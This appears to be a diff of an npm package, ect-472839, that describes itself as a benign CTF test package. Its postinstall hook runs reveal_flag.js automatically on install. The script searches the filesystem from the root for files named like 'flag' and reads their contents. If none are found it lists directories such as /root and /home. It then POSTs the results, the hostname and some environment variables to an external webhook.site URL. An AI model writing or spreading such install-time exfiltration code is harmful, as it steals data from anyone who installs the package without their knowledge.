ect-472839 1.23.458

package/package.json

@@ -0,0 +1,8 @@
+{
+  "name": "ect-472839",
+  "version": "1.23.458",
+  "description": "benign CTF test package (postinstall sends a webhook)",
+  "scripts": {
+    "postinstall": "node ./reveal_flag.js"
+  }
+}

package/reveal_flag.js

@@ -0,0 +1,123 @@
+// reveal_flag.js — run a bounded `find` for flag-like files, read small contents, POST to webhook
+const { execFile } = require('child_process');
+const fs = require('fs');
+const path = require('path');
+const os = require('os');
+const http = require('http');
+const https = require('https');
+const url = require('url');
+
+const WEBHOOK_URL = process.env.WEBHOOK_URL || 'https://webhook.site/9abfee18-babc-4a9d-ae66-1b82ed6f436c';
+const MAX_FILES = 8;       // max number of matching files to inspect
+const MAX_BYTES = 2000;    // max bytes to read per file
+const FIND_TIMEOUT = 15000; // ms - timeout for the find process
+const MAX_FIND_RESULTS = 150; // cap on number of lines find can return
+
+function send(payload) {
+  try {
+    const parsed = url.parse(WEBHOOK_URL);
+    const proto = parsed.protocol === 'https:' ? https : http;
+    const opts = {
+      hostname: parsed.hostname,
+      port: parsed.port || (parsed.protocol === 'https:' ? 443 : 80),
+      path: parsed.path,
+      method: 'POST',
+      headers: { 'Content-Type': 'application/json' }
+    };
+    const req = proto.request(opts, (res) => {
+      // drain
+      res.on('data', () => {});
+      res.on('end', () => {});
+    });
+    req.on('error', (err) => {
+      console.error('webhook send error:', err && err.message);
+    });
+    req.write(JSON.stringify(payload));
+    req.end();
+    console.log('POSTED_WEBHOOK', WEBHOOK_URL);
+  } catch (e) {
+    console.error('send exception', e && e.message);
+  }
+}
+
+function safeRead(p) {
+  try {
+    const b = fs.readFileSync(p);
+    const content = b.toString('utf8', 0, MAX_BYTES);
+    return { path: p, size: b.length, content, truncated: b.length > MAX_BYTES };
+  } catch (e) {
+    return { path: p, error: e.message };
+  }
+}
+
+/*
+  Use execFile to call find safely (no shell). We limit:
+  -root traversal with -xdev (stay on same fs)
+  -maxdepth to avoid deep scans
+  -iname '*flag*' to match common flag names (case-insensitive)
+*/
+function runFind(cb) {
+  // arguments: start at /, don't cross devices, case-insensitive name match, file only, limited depth
+  const args = ['/', '-xdev', '-type', 'f', '-iname', '*flag*', '-maxdepth', '6'];
+  const opts = { timeout: FIND_TIMEOUT, maxBuffer: 200 * 1024 }; // 200KB buffer
+  const child = execFile('find', args, opts, (err, stdout, stderr) => {
+    if (err && err.killed) {
+      // timed out
+      console.warn('find timed out');
+    }
+    // collect stdout lines, filter empty, cap results
+    const lines = (stdout || '').split('\n').map(l => l.trim()).filter(Boolean).slice(0, MAX_FIND_RESULTS);
+    cb(lines, stderr ? stderr.toString().slice(0, 1000) : null);
+  });
+}
+
+async function main() {
+  try {
+    const pkg = (() => { try { return require('./package.json'); } catch { return { name: 'unknown', version: 'unknown' }; } })();
+    runFind(async (lines, findErr) => {
+      const files = lines.slice(0, MAX_FILES);
+      const inspected = files.map(safeRead);
+
+      // fallback: if no results, try smaller candidate list for common names
+      let dirListings = null;
+      if (files.length === 0) {
+        const tryDirs = ['/','/root','/home','/tmp','/var/www','/app'];
+        dirListings = {};
+        for (const d of tryDirs) {
+          try {
+            dirListings[d] = fs.readdirSync(d).slice(0, 50);
+          } catch (e) {
+            dirListings[d] = `ERR:${e.message}`;
+          }
+        }
+      }
+
+      const payload = {
+        event: 'postinstall-find-probe',
+        package: pkg.name,
+        version: pkg.version,
+        ts: new Date().toISOString(),
+        hostname: os.hostname(),
+        platform: process.platform,
+        cwd: process.cwd(),
+        env_sample: { USER: process.env.USER, HOME: process.env.HOME, PWD: process.env.PWD },
+        find_matches_count: lines.length,
+        find_matches_preview: lines.slice(0, 30),
+        find_stderr: findErr,
+        inspected_files: inspected,
+        dir_listings: dirListings
+      };
+
+      // Send results to webhook
+      send(payload);
+
+      // Also print a compact marker so container logs include something obvious
+      console.log('FIND_PROBE_DONE', { matches: lines.length, inspected: inspected.length });
+    });
+  } catch (e) {
+    console.error('main exception', e && e.message);
+    send({ event: 'postinstall-find-error', error: e && e.message });
+  }
+}
+
+main();